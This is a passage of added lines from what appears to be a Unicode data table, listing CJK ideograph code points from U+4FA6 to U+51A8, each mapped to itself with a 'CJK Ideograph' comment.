+ ["\u4FA6", "\u4FA6"], /* CJK Ideograph */
+ ["\u4FA7", "\u4FA7"], /* CJK Ideograph */
+ ["\u4FA8", "\u4FA8"], /* CJK Ideograph */
+ ["\u4FA9", "\u4FA9"], /* CJK Ideograph */
+ ["\u4FAA", "\u4FAA"], /* CJK Ideograph */
+ ["\u4FAB", "\u4FAB"], /* CJK Ideograph */
+ ["\u4FAC", "\u4FAC"], /* CJK Ideograph */
+ ["\u4FAD", "\u4FAD"], /* CJK Ideograph */
+ ["\u4FAE", "\u4FAE"], /* CJK Ideograph */
+ ["\u4FAF", "\u4FAF"], /* CJK Ideograph */
+ ["\u4FB0", "\u4FB0"], /* CJK Ideograph */
+ ["\u4FB1", "\u4FB1"], /* CJK Ideograph */
+ ["\u4FB2", "\u4FB2"], /* CJK Ideograph */
+ ["\u4FB3", "\u4FB3"], /* CJK Ideograph */
+ ["\u4FB4", "\u4FB4"], /* CJK Ideograph */
+ ["\u4FB5", "\u4FB5"], /* CJK Ideograph */
+ ["\u4FB6", "\u4FB6"], /* CJK Ideograph */
+ ["\u4FB7", "\u4FB7"], /* CJK Ideograph */
+ ["\u4FB8", "\u4FB8"], /* CJK Ideograph */
+ ["\u4FB9", "\u4FB9"], /* CJK Ideograph */
+ ["\u4FBA", "\u4FBA"], /* CJK Ideograph */
+ ["\u4FBB", "\u4FBB"], /* CJK Ideograph */
+ ["\u4FBC", "\u4FBC"], /* CJK Ideograph */
+ ["\u4FBD", "\u4FBD"], /* CJK Ideograph */
+ ["\u4FBE", "\u4FBE"], /* CJK Ideograph */
+ ["\u4FBF", "\u4FBF"], /* CJK Ideograph */
+ ["\u4FC0", "\u4FC0"], /* CJK Ideograph */
+ ["\u4FC1", "\u4FC1"], /* CJK Ideograph */
+ ["\u4FC2", "\u4FC2"], /* CJK Ideograph */
+ ["\u4FC3", "\u4FC3"], /* CJK Ideograph */
+ ["\u4FC4", "\u4FC4"], /* CJK Ideograph */
+ ["\u4FC5", "\u4FC5"], /* CJK Ideograph */
+ ["\u4FC6", "\u4FC6"], /* CJK Ideograph */
+ ["\u4FC7", "\u4FC7"], /* CJK Ideograph */
+ ["\u4FC8", "\u4FC8"], /* CJK Ideograph */
+ ["\u4FC9", "\u4FC9"], /* CJK Ideograph */
+ ["\u4FCA", "\u4FCA"], /* CJK Ideograph */
+ ["\u4FCB", "\u4FCB"], /* CJK Ideograph */
+ ["\u4FCC", "\u4FCC"], /* CJK Ideograph */
+ ["\u4FCD", "\u4FCD"], /* CJK Ideograph */
+ ["\u4FCE", "\u4FCE"], /* CJK Ideograph */
+ ["\u4FCF", "\u4FCF"], /* CJK Ideograph */
+ ["\u4FD0", "\u4FD0"], /* CJK Ideograph */
+ ["\u4FD1", "\u4FD1"], /* CJK Ideograph */
+ ["\u4FD2", "\u4FD2"], /* CJK Ideograph */
+ ["\u4FD3", "\u4FD3"], /* CJK Ideograph */
+ ["\u4FD4", "\u4FD4"], /* CJK Ideograph */
+ ["\u4FD5", "\u4FD5"], /* CJK Ideograph */
+ ["\u4FD6", "\u4FD6"], /* CJK Ideograph */
+ ["\u4FD7", "\u4FD7"], /* CJK Ideograph */
+ ["\u4FD8", "\u4FD8"], /* CJK Ideograph */
+ ["\u4FD9", "\u4FD9"], /* CJK Ideograph */
+ ["\u4FDA", "\u4FDA"], /* CJK Ideograph */
+ ["\u4FDB", "\u4FDB"], /* CJK Ideograph */
+ ["\u4FDC", "\u4FDC"], /* CJK Ideograph */
+ ["\u4FDD", "\u4FDD"], /* CJK Ideograph */
+ ["\u4FDE", "\u4FDE"], /* CJK Ideograph */
+ ["\u4FDF", "\u4FDF"], /* CJK Ideograph */
+ ["\u4FE0", "\u4FE0"], /* CJK Ideograph */
+ ["\u4FE1", "\u4FE1"], /* CJK Ideograph */
+ ["\u4FE2", "\u4FE2"], /* CJK Ideograph */
+ ["\u4FE3", "\u4FE3"], /* CJK Ideograph */
+ ["\u4FE4", "\u4FE4"], /* CJK Ideograph */
+ ["\u4FE5", "\u4FE5"], /* CJK Ideograph */
+ ["\u4FE6", "\u4FE6"], /* CJK Ideograph */
+ ["\u4FE7", "\u4FE7"], /* CJK Ideograph */
+ ["\u4FE8", "\u4FE8"], /* CJK Ideograph */
+ ["\u4FE9", "\u4FE9"], /* CJK Ideograph */
+ ["\u4FEA", "\u4FEA"], /* CJK Ideograph */
+ ["\u4FEB", "\u4FEB"], /* CJK Ideograph */
+ ["\u4FEC", "\u4FEC"], /* CJK Ideograph */
+ ["\u4FED", "\u4FED"], /* CJK Ideograph */
+ ["\u4FEE", "\u4FEE"], /* CJK Ideograph */
+ ["\u4FEF", "\u4FEF"], /* CJK Ideograph */
+ ["\u4FF0", "\u4FF0"], /* CJK Ideograph */
+ ["\u4FF1", "\u4FF1"], /* CJK Ideograph */
+ ["\u4FF2", "\u4FF2"], /* CJK Ideograph */
+ ["\u4FF3", "\u4FF3"], /* CJK Ideograph */
+ ["\u4FF4", "\u4FF4"], /* CJK Ideograph */
+ ["\u4FF5", "\u4FF5"], /* CJK Ideograph */
+ ["\u4FF6", "\u4FF6"], /* CJK Ideograph */
+ ["\u4FF7", "\u4FF7"], /* CJK Ideograph */
+ ["\u4FF8", "\u4FF8"], /* CJK Ideograph */
+ ["\u4FF9", "\u4FF9"], /* CJK Ideograph */
+ ["\u4FFA", "\u4FFA"], /* CJK Ideograph */
+ ["\u4FFB", "\u4FFB"], /* CJK Ideograph */
+ ["\u4FFC", "\u4FFC"], /* CJK Ideograph */
+ ["\u4FFD", "\u4FFD"], /* CJK Ideograph */
+ ["\u4FFE", "\u4FFE"], /* CJK Ideograph */
+ ["\u4FFF", "\u4FFF"], /* CJK Ideograph */
+ ["\u5000", "\u5000"], /* CJK Ideograph */
+ ["\u5001", "\u5001"], /* CJK Ideograph */
+ ["\u5002", "\u5002"], /* CJK Ideograph */
+ ["\u5003", "\u5003"], /* CJK Ideograph */
+ ["\u5004", "\u5004"], /* CJK Ideograph */
+ ["\u5005", "\u5005"], /* CJK Ideograph */
+ ["\u5006", "\u5006"], /* CJK Ideograph */
+ ["\u5007", "\u5007"], /* CJK Ideograph */
+ ["\u5008", "\u5008"], /* CJK Ideograph */
+ ["\u5009", "\u5009"], /* CJK Ideograph */
+ ["\u500A", "\u500A"], /* CJK Ideograph */
+ ["\u500B", "\u500B"], /* CJK Ideograph */
+ ["\u500C", "\u500C"], /* CJK Ideograph */
+ ["\u500D", "\u500D"], /* CJK Ideograph */
+ ["\u500E", "\u500E"], /* CJK Ideograph */
+ ["\u500F", "\u500F"], /* CJK Ideograph */
+ ["\u5010", "\u5010"], /* CJK Ideograph */
+ ["\u5011", "\u5011"], /* CJK Ideograph */
+ ["\u5012", "\u5012"], /* CJK Ideograph */
+ ["\u5013", "\u5013"], /* CJK Ideograph */
+ ["\u5014", "\u5014"], /* CJK Ideograph */
+ ["\u5015", "\u5015"], /* CJK Ideograph */
+ ["\u5016", "\u5016"], /* CJK Ideograph */
+ ["\u5017", "\u5017"], /* CJK Ideograph */
+ ["\u5018", "\u5018"], /* CJK Ideograph */
+ ["\u5019", "\u5019"], /* CJK Ideograph */
+ ["\u501A", "\u501A"], /* CJK Ideograph */
+ ["\u501B", "\u501B"], /* CJK Ideograph */
+ ["\u501C", "\u501C"], /* CJK Ideograph */
+ ["\u501D", "\u501D"], /* CJK Ideograph */
+ ["\u501E", "\u501E"], /* CJK Ideograph */
+ ["\u501F", "\u501F"], /* CJK Ideograph */
+ ["\u5020", "\u5020"], /* CJK Ideograph */
+ ["\u5021", "\u5021"], /* CJK Ideograph */
+ ["\u5022", "\u5022"], /* CJK Ideograph */
+ ["\u5023", "\u5023"], /* CJK Ideograph */
+ ["\u5024", "\u5024"], /* CJK Ideograph */
+ ["\u5025", "\u5025"], /* CJK Ideograph */
+ ["\u5026", "\u5026"], /* CJK Ideograph */
+ ["\u5027", "\u5027"], /* CJK Ideograph */
+ ["\u5028", "\u5028"], /* CJK Ideograph */
+ ["\u5029", "\u5029"], /* CJK Ideograph */
+ ["\u502A", "\u502A"], /* CJK Ideograph */
+ ["\u502B", "\u502B"], /* CJK Ideograph */
+ ["\u502C", "\u502C"], /* CJK Ideograph */
+ ["\u502D", "\u502D"], /* CJK Ideograph */
+ ["\u502E", "\u502E"], /* CJK Ideograph */
+ ["\u502F", "\u502F"], /* CJK Ideograph */
+ ["\u5030", "\u5030"], /* CJK Ideograph */
+ ["\u5031", "\u5031"], /* CJK Ideograph */
+ ["\u5032", "\u5032"], /* CJK Ideograph */
+ ["\u5033", "\u5033"], /* CJK Ideograph */
+ ["\u5034", "\u5034"], /* CJK Ideograph */
+ ["\u5035", "\u5035"], /* CJK Ideograph */
+ ["\u5036", "\u5036"], /* CJK Ideograph */
+ ["\u5037", "\u5037"], /* CJK Ideograph */
+ ["\u5038", "\u5038"], /* CJK Ideograph */
+ ["\u5039", "\u5039"], /* CJK Ideograph */
+ ["\u503A", "\u503A"], /* CJK Ideograph */
+ ["\u503B", "\u503B"], /* CJK Ideograph */
+ ["\u503C", "\u503C"], /* CJK Ideograph */
+ ["\u503D", "\u503D"], /* CJK Ideograph */
+ ["\u503E", "\u503E"], /* CJK Ideograph */
+ ["\u503F", "\u503F"], /* CJK Ideograph */
+ ["\u5040", "\u5040"], /* CJK Ideograph */
+ ["\u5041", "\u5041"], /* CJK Ideograph */
+ ["\u5042", "\u5042"], /* CJK Ideograph */
+ ["\u5043", "\u5043"], /* CJK Ideograph */
+ ["\u5044", "\u5044"], /* CJK Ideograph */
+ ["\u5045", "\u5045"], /* CJK Ideograph */
+ ["\u5046", "\u5046"], /* CJK Ideograph */
+ ["\u5047", "\u5047"], /* CJK Ideograph */
+ ["\u5048", "\u5048"], /* CJK Ideograph */
+ ["\u5049", "\u5049"], /* CJK Ideograph */
+ ["\u504A", "\u504A"], /* CJK Ideograph */
+ ["\u504B", "\u504B"], /* CJK Ideograph */
+ ["\u504C", "\u504C"], /* CJK Ideograph */
+ ["\u504D", "\u504D"], /* CJK Ideograph */
+ ["\u504E", "\u504E"], /* CJK Ideograph */
+ ["\u504F", "\u504F"], /* CJK Ideograph */
+ ["\u5050", "\u5050"], /* CJK Ideograph */
+ ["\u5051", "\u5051"], /* CJK Ideograph */
+ ["\u5052", "\u5052"], /* CJK Ideograph */
+ ["\u5053", "\u5053"], /* CJK Ideograph */
+ ["\u5054", "\u5054"], /* CJK Ideograph */
+ ["\u5055", "\u5055"], /* CJK Ideograph */
+ ["\u5056", "\u5056"], /* CJK Ideograph */
+ ["\u5057", "\u5057"], /* CJK Ideograph */
+ ["\u5058", "\u5058"], /* CJK Ideograph */
+ ["\u5059", "\u5059"], /* CJK Ideograph */
+ ["\u505A", "\u505A"], /* CJK Ideograph */
+ ["\u505B", "\u505B"], /* CJK Ideograph */
+ ["\u505C", "\u505C"], /* CJK Ideograph */
+ ["\u505D", "\u505D"], /* CJK Ideograph */
+ ["\u505E", "\u505E"], /* CJK Ideograph */
+ ["\u505F", "\u505F"], /* CJK Ideograph */
+ ["\u5060", "\u5060"], /* CJK Ideograph */
+ ["\u5061", "\u5061"], /* CJK Ideograph */
+ ["\u5062", "\u5062"], /* CJK Ideograph */
+ ["\u5063", "\u5063"], /* CJK Ideograph */
+ ["\u5064", "\u5064"], /* CJK Ideograph */
+ ["\u5065", "\u5065"], /* CJK Ideograph */
+ ["\u5066", "\u5066"], /* CJK Ideograph */
+ ["\u5067", "\u5067"], /* CJK Ideograph */
+ ["\u5068", "\u5068"], /* CJK Ideograph */
+ ["\u5069", "\u5069"], /* CJK Ideograph */
+ ["\u506A", "\u506A"], /* CJK Ideograph */
+ ["\u506B", "\u506B"], /* CJK Ideograph */
+ ["\u506C", "\u506C"], /* CJK Ideograph */
+ ["\u506D", "\u506D"], /* CJK Ideograph */
+ ["\u506E", "\u506E"], /* CJK Ideograph */
+ ["\u506F", "\u506F"], /* CJK Ideograph */
+ ["\u5070", "\u5070"], /* CJK Ideograph */
+ ["\u5071", "\u5071"], /* CJK Ideograph */
+ ["\u5072", "\u5072"], /* CJK Ideograph */
+ ["\u5073", "\u5073"], /* CJK Ideograph */
+ ["\u5074", "\u5074"], /* CJK Ideograph */
+ ["\u5075", "\u5075"], /* CJK Ideograph */
+ ["\u5076", "\u5076"], /* CJK Ideograph */
+ ["\u5077", "\u5077"], /* CJK Ideograph */
+ ["\u5078", "\u5078"], /* CJK Ideograph */
+ ["\u5079", "\u5079"], /* CJK Ideograph */
+ ["\u507A", "\u507A"], /* CJK Ideograph */
+ ["\u507B", "\u507B"], /* CJK Ideograph */
+ ["\u507C", "\u507C"], /* CJK Ideograph */
+ ["\u507D", "\u507D"], /* CJK Ideograph */
+ ["\u507E", "\u507E"], /* CJK Ideograph */
+ ["\u507F", "\u507F"], /* CJK Ideograph */
+ ["\u5080", "\u5080"], /* CJK Ideograph */
+ ["\u5081", "\u5081"], /* CJK Ideograph */
+ ["\u5082", "\u5082"], /* CJK Ideograph */
+ ["\u5083", "\u5083"], /* CJK Ideograph */
+ ["\u5084", "\u5084"], /* CJK Ideograph */
+ ["\u5085", "\u5085"], /* CJK Ideograph */
+ ["\u5086", "\u5086"], /* CJK Ideograph */
+ ["\u5087", "\u5087"], /* CJK Ideograph */
+ ["\u5088", "\u5088"], /* CJK Ideograph */
+ ["\u5089", "\u5089"], /* CJK Ideograph */
+ ["\u508A", "\u508A"], /* CJK Ideograph */
+ ["\u508B", "\u508B"], /* CJK Ideograph */
+ ["\u508C", "\u508C"], /* CJK Ideograph */
+ ["\u508D", "\u508D"], /* CJK Ideograph */
+ ["\u508E", "\u508E"], /* CJK Ideograph */
+ ["\u508F", "\u508F"], /* CJK Ideograph */
+ ["\u5090", "\u5090"], /* CJK Ideograph */
+ ["\u5091", "\u5091"], /* CJK Ideograph */
+ ["\u5092", "\u5092"], /* CJK Ideograph */
+ ["\u5093", "\u5093"], /* CJK Ideograph */
+ ["\u5094", "\u5094"], /* CJK Ideograph */
+ ["\u5095", "\u5095"], /* CJK Ideograph */
+ ["\u5096", "\u5096"], /* CJK Ideograph */
+ ["\u5097", "\u5097"], /* CJK Ideograph */
+ ["\u5098", "\u5098"], /* CJK Ideograph */
+ ["\u5099", "\u5099"], /* CJK Ideograph */
+ ["\u509A", "\u509A"], /* CJK Ideograph */
+ ["\u509B", "\u509B"], /* CJK Ideograph */
+ ["\u509C", "\u509C"], /* CJK Ideograph */
+ ["\u509D", "\u509D"], /* CJK Ideograph */
+ ["\u509E", "\u509E"], /* CJK Ideograph */
+ ["\u509F", "\u509F"], /* CJK Ideograph */
+ ["\u50A0", "\u50A0"], /* CJK Ideograph */
+ ["\u50A1", "\u50A1"], /* CJK Ideograph */
+ ["\u50A2", "\u50A2"], /* CJK Ideograph */
+ ["\u50A3", "\u50A3"], /* CJK Ideograph */
+ ["\u50A4", "\u50A4"], /* CJK Ideograph */
+ ["\u50A5", "\u50A5"], /* CJK Ideograph */
+ ["\u50A6", "\u50A6"], /* CJK Ideograph */
+ ["\u50A7", "\u50A7"], /* CJK Ideograph */
+ ["\u50A8", "\u50A8"], /* CJK Ideograph */
+ ["\u50A9", "\u50A9"], /* CJK Ideograph */
+ ["\u50AA", "\u50AA"], /* CJK Ideograph */
+ ["\u50AB", "\u50AB"], /* CJK Ideograph */
+ ["\u50AC", "\u50AC"], /* CJK Ideograph */
+ ["\u50AD", "\u50AD"], /* CJK Ideograph */
+ ["\u50AE", "\u50AE"], /* CJK Ideograph */
+ ["\u50AF", "\u50AF"], /* CJK Ideograph */
+ ["\u50B0", "\u50B0"], /* CJK Ideograph */
+ ["\u50B1", "\u50B1"], /* CJK Ideograph */
+ ["\u50B2", "\u50B2"], /* CJK Ideograph */
+ ["\u50B3", "\u50B3"], /* CJK Ideograph */
+ ["\u50B4", "\u50B4"], /* CJK Ideograph */
+ ["\u50B5", "\u50B5"], /* CJK Ideograph */
+ ["\u50B6", "\u50B6"], /* CJK Ideograph */
+ ["\u50B7", "\u50B7"], /* CJK Ideograph */
+ ["\u50B8", "\u50B8"], /* CJK Ideograph */
+ ["\u50B9", "\u50B9"], /* CJK Ideograph */
+ ["\u50BA", "\u50BA"], /* CJK Ideograph */
+ ["\u50BB", "\u50BB"], /* CJK Ideograph */
+ ["\u50BC", "\u50BC"], /* CJK Ideograph */
+ ["\u50BD", "\u50BD"], /* CJK Ideograph */
+ ["\u50BE", "\u50BE"], /* CJK Ideograph */
+ ["\u50BF", "\u50BF"], /* CJK Ideograph */
+ ["\u50C0", "\u50C0"], /* CJK Ideograph */
+ ["\u50C1", "\u50C1"], /* CJK Ideograph */
+ ["\u50C2", "\u50C2"], /* CJK Ideograph */
+ ["\u50C3", "\u50C3"], /* CJK Ideograph */
+ ["\u50C4", "\u50C4"], /* CJK Ideograph */
+ ["\u50C5", "\u50C5"], /* CJK Ideograph */
+ ["\u50C6", "\u50C6"], /* CJK Ideograph */
+ ["\u50C7", "\u50C7"], /* CJK Ideograph */
+ ["\u50C8", "\u50C8"], /* CJK Ideograph */
+ ["\u50C9", "\u50C9"], /* CJK Ideograph */
+ ["\u50CA", "\u50CA"], /* CJK Ideograph */
+ ["\u50CB", "\u50CB"], /* CJK Ideograph */
+ ["\u50CC", "\u50CC"], /* CJK Ideograph */
+ ["\u50CD", "\u50CD"], /* CJK Ideograph */
+ ["\u50CE", "\u50CE"], /* CJK Ideograph */
+ ["\u50CF", "\u50CF"], /* CJK Ideograph */
+ ["\u50D0", "\u50D0"], /* CJK Ideograph */
+ ["\u50D1", "\u50D1"], /* CJK Ideograph */
+ ["\u50D2", "\u50D2"], /* CJK Ideograph */
+ ["\u50D3", "\u50D3"], /* CJK Ideograph */
+ ["\u50D4", "\u50D4"], /* CJK Ideograph */
+ ["\u50D5", "\u50D5"], /* CJK Ideograph */
+ ["\u50D6", "\u50D6"], /* CJK Ideograph */
+ ["\u50D7", "\u50D7"], /* CJK Ideograph */
+ ["\u50D8", "\u50D8"], /* CJK Ideograph */
+ ["\u50D9", "\u50D9"], /* CJK Ideograph */
+ ["\u50DA", "\u50DA"], /* CJK Ideograph */
+ ["\u50DB", "\u50DB"], /* CJK Ideograph */
+ ["\u50DC", "\u50DC"], /* CJK Ideograph */
+ ["\u50DD", "\u50DD"], /* CJK Ideograph */
+ ["\u50DE", "\u50DE"], /* CJK Ideograph */
+ ["\u50DF", "\u50DF"], /* CJK Ideograph */
+ ["\u50E0", "\u50E0"], /* CJK Ideograph */
+ ["\u50E1", "\u50E1"], /* CJK Ideograph */
+ ["\u50E2", "\u50E2"], /* CJK Ideograph */
+ ["\u50E3", "\u50E3"], /* CJK Ideograph */
+ ["\u50E4", "\u50E4"], /* CJK Ideograph */
+ ["\u50E5", "\u50E5"], /* CJK Ideograph */
+ ["\u50E6", "\u50E6"], /* CJK Ideograph */
+ ["\u50E7", "\u50E7"], /* CJK Ideograph */
+ ["\u50E8", "\u50E8"], /* CJK Ideograph */
+ ["\u50E9", "\u50E9"], /* CJK Ideograph */
+ ["\u50EA", "\u50EA"], /* CJK Ideograph */
+ ["\u50EB", "\u50EB"], /* CJK Ideograph */
+ ["\u50EC", "\u50EC"], /* CJK Ideograph */
+ ["\u50ED", "\u50ED"], /* CJK Ideograph */
+ ["\u50EE", "\u50EE"], /* CJK Ideograph */
+ ["\u50EF", "\u50EF"], /* CJK Ideograph */
+ ["\u50F0", "\u50F0"], /* CJK Ideograph */
+ ["\u50F1", "\u50F1"], /* CJK Ideograph */
+ ["\u50F2", "\u50F2"], /* CJK Ideograph */
+ ["\u50F3", "\u50F3"], /* CJK Ideograph */
+ ["\u50F4", "\u50F4"], /* CJK Ideograph */
+ ["\u50F5", "\u50F5"], /* CJK Ideograph */
+ ["\u50F6", "\u50F6"], /* CJK Ideograph */
+ ["\u50F7", "\u50F7"], /* CJK Ideograph */
+ ["\u50F8", "\u50F8"], /* CJK Ideograph */
+ ["\u50F9", "\u50F9"], /* CJK Ideograph */
+ ["\u50FA", "\u50FA"], /* CJK Ideograph */
+ ["\u50FB", "\u50FB"], /* CJK Ideograph */
+ ["\u50FC", "\u50FC"], /* CJK Ideograph */
+ ["\u50FD", "\u50FD"], /* CJK Ideograph */
+ ["\u50FE", "\u50FE"], /* CJK Ideograph */
+ ["\u50FF", "\u50FF"], /* CJK Ideograph */
+ ["\u5100", "\u5100"], /* CJK Ideograph */
+ ["\u5101", "\u5101"], /* CJK Ideograph */
+ ["\u5102", "\u5102"], /* CJK Ideograph */
+ ["\u5103", "\u5103"], /* CJK Ideograph */
+ ["\u5104", "\u5104"], /* CJK Ideograph */
+ ["\u5105", "\u5105"], /* CJK Ideograph */
+ ["\u5106", "\u5106"], /* CJK Ideograph */
+ ["\u5107", "\u5107"], /* CJK Ideograph */
+ ["\u5108", "\u5108"], /* CJK Ideograph */
+ ["\u5109", "\u5109"], /* CJK Ideograph */
+ ["\u510A", "\u510A"], /* CJK Ideograph */
+ ["\u510B", "\u510B"], /* CJK Ideograph */
+ ["\u510C", "\u510C"], /* CJK Ideograph */
+ ["\u510D", "\u510D"], /* CJK Ideograph */
+ ["\u510E", "\u510E"], /* CJK Ideograph */
+ ["\u510F", "\u510F"], /* CJK Ideograph */
+ ["\u5110", "\u5110"], /* CJK Ideograph */
+ ["\u5111", "\u5111"], /* CJK Ideograph */
+ ["\u5112", "\u5112"], /* CJK Ideograph */
+ ["\u5113", "\u5113"], /* CJK Ideograph */
+ ["\u5114", "\u5114"], /* CJK Ideograph */
+ ["\u5115", "\u5115"], /* CJK Ideograph */
+ ["\u5116", "\u5116"], /* CJK Ideograph */
+ ["\u5117", "\u5117"], /* CJK Ideograph */
+ ["\u5118", "\u5118"], /* CJK Ideograph */
+ ["\u5119", "\u5119"], /* CJK Ideograph */
+ ["\u511A", "\u511A"], /* CJK Ideograph */
+ ["\u511B", "\u511B"], /* CJK Ideograph */
+ ["\u511C", "\u511C"], /* CJK Ideograph */
+ ["\u511D", "\u511D"], /* CJK Ideograph */
+ ["\u511E", "\u511E"], /* CJK Ideograph */
+ ["\u511F", "\u511F"], /* CJK Ideograph */
+ ["\u5120", "\u5120"], /* CJK Ideograph */
+ ["\u5121", "\u5121"], /* CJK Ideograph */
+ ["\u5122", "\u5122"], /* CJK Ideograph */
+ ["\u5123", "\u5123"], /* CJK Ideograph */
+ ["\u5124", "\u5124"], /* CJK Ideograph */
+ ["\u5125", "\u5125"], /* CJK Ideograph */
+ ["\u5126", "\u5126"], /* CJK Ideograph */
+ ["\u5127", "\u5127"], /* CJK Ideograph */
+ ["\u5128", "\u5128"], /* CJK Ideograph */
+ ["\u5129", "\u5129"], /* CJK Ideograph */
+ ["\u512A", "\u512A"], /* CJK Ideograph */
+ ["\u512B", "\u512B"], /* CJK Ideograph */
+ ["\u512C", "\u512C"], /* CJK Ideograph */
+ ["\u512D", "\u512D"], /* CJK Ideograph */
+ ["\u512E", "\u512E"], /* CJK Ideograph */
+ ["\u512F", "\u512F"], /* CJK Ideograph */
+ ["\u5130", "\u5130"], /* CJK Ideograph */
+ ["\u5131", "\u5131"], /* CJK Ideograph */
+ ["\u5132", "\u5132"], /* CJK Ideograph */
+ ["\u5133", "\u5133"], /* CJK Ideograph */
+ ["\u5134", "\u5134"], /* CJK Ideograph */
+ ["\u5135", "\u5135"], /* CJK Ideograph */
+ ["\u5136", "\u5136"], /* CJK Ideograph */
+ ["\u5137", "\u5137"], /* CJK Ideograph */
+ ["\u5138", "\u5138"], /* CJK Ideograph */
+ ["\u5139", "\u5139"], /* CJK Ideograph */
+ ["\u513A", "\u513A"], /* CJK Ideograph */
+ ["\u513B", "\u513B"], /* CJK Ideograph */
+ ["\u513C", "\u513C"], /* CJK Ideograph */
+ ["\u513D", "\u513D"], /* CJK Ideograph */
+ ["\u513E", "\u513E"], /* CJK Ideograph */
+ ["\u513F", "\u513F"], /* CJK Ideograph */
+ ["\u5140", "\u5140"], /* CJK Ideograph */
+ ["\u5141", "\u5141"], /* CJK Ideograph */
+ ["\u5142", "\u5142"], /* CJK Ideograph */
+ ["\u5143", "\u5143"], /* CJK Ideograph */
+ ["\u5144", "\u5144"], /* CJK Ideograph */
+ ["\u5145", "\u5145"], /* CJK Ideograph */
+ ["\u5146", "\u5146"], /* CJK Ideograph */
+ ["\u5147", "\u5147"], /* CJK Ideograph */
+ ["\u5148", "\u5148"], /* CJK Ideograph */
+ ["\u5149", "\u5149"], /* CJK Ideograph */
+ ["\u514A", "\u514A"], /* CJK Ideograph */
+ ["\u514B", "\u514B"], /* CJK Ideograph */
+ ["\u514C", "\u514C"], /* CJK Ideograph */
+ ["\u514D", "\u514D"], /* CJK Ideograph */
+ ["\u514E", "\u514E"], /* CJK Ideograph */
+ ["\u514F", "\u514F"], /* CJK Ideograph */
+ ["\u5150", "\u5150"], /* CJK Ideograph */
+ ["\u5151", "\u5151"], /* CJK Ideograph */
+ ["\u5152", "\u5152"], /* CJK Ideograph */
+ ["\u5153", "\u5153"], /* CJK Ideograph */
+ ["\u5154", "\u5154"], /* CJK Ideograph */
+ ["\u5155", "\u5155"], /* CJK Ideograph */
+ ["\u5156", "\u5156"], /* CJK Ideograph */
+ ["\u5157", "\u5157"], /* CJK Ideograph */
+ ["\u5158", "\u5158"], /* CJK Ideograph */
+ ["\u5159", "\u5159"], /* CJK Ideograph */
+ ["\u515A", "\u515A"], /* CJK Ideograph */
+ ["\u515B", "\u515B"], /* CJK Ideograph */
+ ["\u515C", "\u515C"], /* CJK Ideograph */
+ ["\u515D", "\u515D"], /* CJK Ideograph */
+ ["\u515E", "\u515E"], /* CJK Ideograph */
+ ["\u515F", "\u515F"], /* CJK Ideograph */
+ ["\u5160", "\u5160"], /* CJK Ideograph */
+ ["\u5161", "\u5161"], /* CJK Ideograph */
+ ["\u5162", "\u5162"], /* CJK Ideograph */
+ ["\u5163", "\u5163"], /* CJK Ideograph */
+ ["\u5164", "\u5164"], /* CJK Ideograph */
+ ["\u5165", "\u5165"], /* CJK Ideograph */
+ ["\u5166", "\u5166"], /* CJK Ideograph */
+ ["\u5167", "\u5167"], /* CJK Ideograph */
+ ["\u5168", "\u5168"], /* CJK Ideograph */
+ ["\u5169", "\u5169"], /* CJK Ideograph */
+ ["\u516A", "\u516A"], /* CJK Ideograph */
+ ["\u516B", "\u516B"], /* CJK Ideograph */
+ ["\u516C", "\u516C"], /* CJK Ideograph */
+ ["\u516D", "\u516D"], /* CJK Ideograph */
+ ["\u516E", "\u516E"], /* CJK Ideograph */
+ ["\u516F", "\u516F"], /* CJK Ideograph */
+ ["\u5170", "\u5170"], /* CJK Ideograph */
+ ["\u5171", "\u5171"], /* CJK Ideograph */
+ ["\u5172", "\u5172"], /* CJK Ideograph */
+ ["\u5173", "\u5173"], /* CJK Ideograph */
+ ["\u5174", "\u5174"], /* CJK Ideograph */
+ ["\u5175", "\u5175"], /* CJK Ideograph */
+ ["\u5176", "\u5176"], /* CJK Ideograph */
+ ["\u5177", "\u5177"], /* CJK Ideograph */
+ ["\u5178", "\u5178"], /* CJK Ideograph */
+ ["\u5179", "\u5179"], /* CJK Ideograph */
+ ["\u517A", "\u517A"], /* CJK Ideograph */
+ ["\u517B", "\u517B"], /* CJK Ideograph */
+ ["\u517C", "\u517C"], /* CJK Ideograph */
+ ["\u517D", "\u517D"], /* CJK Ideograph */
+ ["\u517E", "\u517E"], /* CJK Ideograph */
+ ["\u517F", "\u517F"], /* CJK Ideograph */
+ ["\u5180", "\u5180"], /* CJK Ideograph */
+ ["\u5181", "\u5181"], /* CJK Ideograph */
+ ["\u5182", "\u5182"], /* CJK Ideograph */
+ ["\u5183", "\u5183"], /* CJK Ideograph */
+ ["\u5184", "\u5184"], /* CJK Ideograph */
+ ["\u5185", "\u5185"], /* CJK Ideograph */
+ ["\u5186", "\u5186"], /* CJK Ideograph */
+ ["\u5187", "\u5187"], /* CJK Ideograph */
+ ["\u5188", "\u5188"], /* CJK Ideograph */
+ ["\u5189", "\u5189"], /* CJK Ideograph */
+ ["\u518A", "\u518A"], /* CJK Ideograph */
+ ["\u518B", "\u518B"], /* CJK Ideograph */
+ ["\u518C", "\u518C"], /* CJK Ideograph */
+ ["\u518D", "\u518D"], /* CJK Ideograph */
+ ["\u518E", "\u518E"], /* CJK Ideograph */
+ ["\u518F", "\u518F"], /* CJK Ideograph */
+ ["\u5190", "\u5190"], /* CJK Ideograph */
+ ["\u5191", "\u5191"], /* CJK Ideograph */
+ ["\u5192", "\u5192"], /* CJK Ideograph */
+ ["\u5193", "\u5193"], /* CJK Ideograph */
+ ["\u5194", "\u5194"], /* CJK Ideograph */
+ ["\u5195", "\u5195"], /* CJK Ideograph */
+ ["\u5196", "\u5196"], /* CJK Ideograph */
+ ["\u5197", "\u5197"], /* CJK Ideograph */
+ ["\u5198", "\u5198"], /* CJK Ideograph */
+ ["\u5199", "\u5199"], /* CJK Ideograph */
+ ["\u519A", "\u519A"], /* CJK Ideograph */
+ ["\u519B", "\u519B"], /* CJK Ideograph */
+ ["\u519C", "\u519C"], /* CJK Ideograph */
+ ["\u519D", "\u519D"], /* CJK Ideograph */
+ ["\u519E", "\u519E"], /* CJK Ideograph */
+ ["\u519F", "\u519F"], /* CJK Ideograph */
+ ["\u51A0", "\u51A0"], /* CJK Ideograph */
+ ["\u51A1", "\u51A1"], /* CJK Ideograph */
+ ["\u51A2", "\u51A2"], /* CJK Ideograph */
+ ["\u51A3", "\u51A3"], /* CJK Ideograph */
+ ["\u51A4", "\u51A4"], /* CJK Ideograph */
+ ["\u51A5", "\u51A5"], /* CJK Ideograph */
+ ["\u51A6", "\u51A6"], /* CJK Ideograph */
+ ["\u51A7", "\u51A7"], /* CJK Ideograph */
+ ["\u51A8", "\u51A8"], /* CJK Ideograph */
